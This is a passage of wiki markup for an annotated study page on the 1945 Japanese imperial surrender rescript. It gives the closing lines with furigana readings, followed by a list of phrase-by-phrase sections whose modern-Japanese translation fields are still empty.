&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;玆&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ここ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に &lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;護&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;持&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て、&lt;ruby&gt;&lt;rb&gt;忠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;良&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なる&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;赤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;誠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;倚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つね&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;在&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り。
&lt;ruby&gt;&lt;rb&gt;若&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;も&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し&lt;ruby&gt;&lt;rb&gt;夫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;激&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;げき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;濫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだり&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;事&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;端&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;滋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しげ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;或&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あるい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;同&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;胞&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;排&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;擠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;互&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たがい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;時&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;局&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;乱&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;大&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;だい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;誤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あやま&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うが&lt;ruby&gt;&lt;rb&gt;如&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ごと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きは、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;最&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もっと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;戒&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いまし&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;む、&lt;ruby&gt;&lt;rb&gt;宜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よろ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;しく&lt;ruby&gt;&lt;rb&gt;挙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;一&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;子&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;孫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;相&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;伝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;つた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;え、
&lt;ruby&gt;&lt;rb&gt;確&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;神&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;州&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;不&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;滅&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;信&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;任&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;にん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;重&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くして、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みち&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;遠&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;きを&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;総&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;将&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;来&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;らい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;建&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;けん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;設&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;傾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かたむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;け、&lt;ruby&gt;&lt;rb&gt;道&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;どう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;義&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;篤&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;志&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;操&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;鞏&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くし、&lt;ruby&gt;&lt;rb&gt;誓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちかっ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;て&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;精&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;華&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;発&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;揚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;世&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;界&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;進&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;運&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れざらんことを&lt;ruby&gt;&lt;rb&gt;期&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;き&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;すべし。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れ
&lt;ruby&gt;&lt;rb&gt;克&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;体&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せよ。&lt;/p&gt;
&lt;/div&gt;
# [[#朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ]]
# [[#忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ]]
# [[#常ニ爾臣民ト共ニ在リ]]
# [[#若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101;]]
# [[#濫ニ事端ヲ滋クシ]]
# [[#或ハ同胞&amp;#xE0101;排擠]]
# [[#互ニ時局ヲ亂リ]]
# [[#爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ]]
# [[#信義ヲ世界ニ失フカ如キハ]]
# [[#朕&amp;#xE0102;最モ之ヲ戒ム]]
# [[#宜シク擧國一家子孫相傳ヘ]]
# [[#確ク神&amp;#xE0100;州ノ不滅ヲ信シ]]
# [[#任重クシテ]]
# [[#道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ]]
# [[#總力ヲ將來ノ建&amp;#xE0101;設ニ傾ケ]]
# [[#道&amp;#xE0101;義ヲ篤クシ]]
# [[#志操ヲ鞏クシ]]
# [[#誓テ國體ノ精&amp;#xE0100;華ヲ發揚シ]]
# [[#世界ノ進&amp;#xE0101;運󠄁ニ後レサラムコトヲ期スヘシ]]
# [[#爾臣民其レ克ク朕&amp;#xE0102;カ意ヲ體セヨ]]

=== 朕&amp;#xE0102;ハ玆ニ國體ヲ護持シ得テ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 忠良ナル爾臣民ノ赤誠&amp;#xE0101;ニ信倚シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 常ニ爾臣民ト共ニ在リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 若シ夫レ情&amp;#xE0101;ノ激スル所&amp;#xE0101; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 濫ニ事端ヲ滋クシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 或ハ同胞&amp;#xE0101;排擠 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 互ニ時局ヲ亂リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 爲ニ大道&amp;#xE0101;ヲ誤&amp;#xE0101;リ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 信義ヲ世界ニ失フカ如キハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;最モ之ヲ戒ム ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 宜シク擧國一家子孫相傳ヘ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 確ク神&amp;#xE0100;州ノ不滅ヲ信シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 任重クシテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 道&amp;#xE0101;遠&amp;#xE0101;キヲ念ヒ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
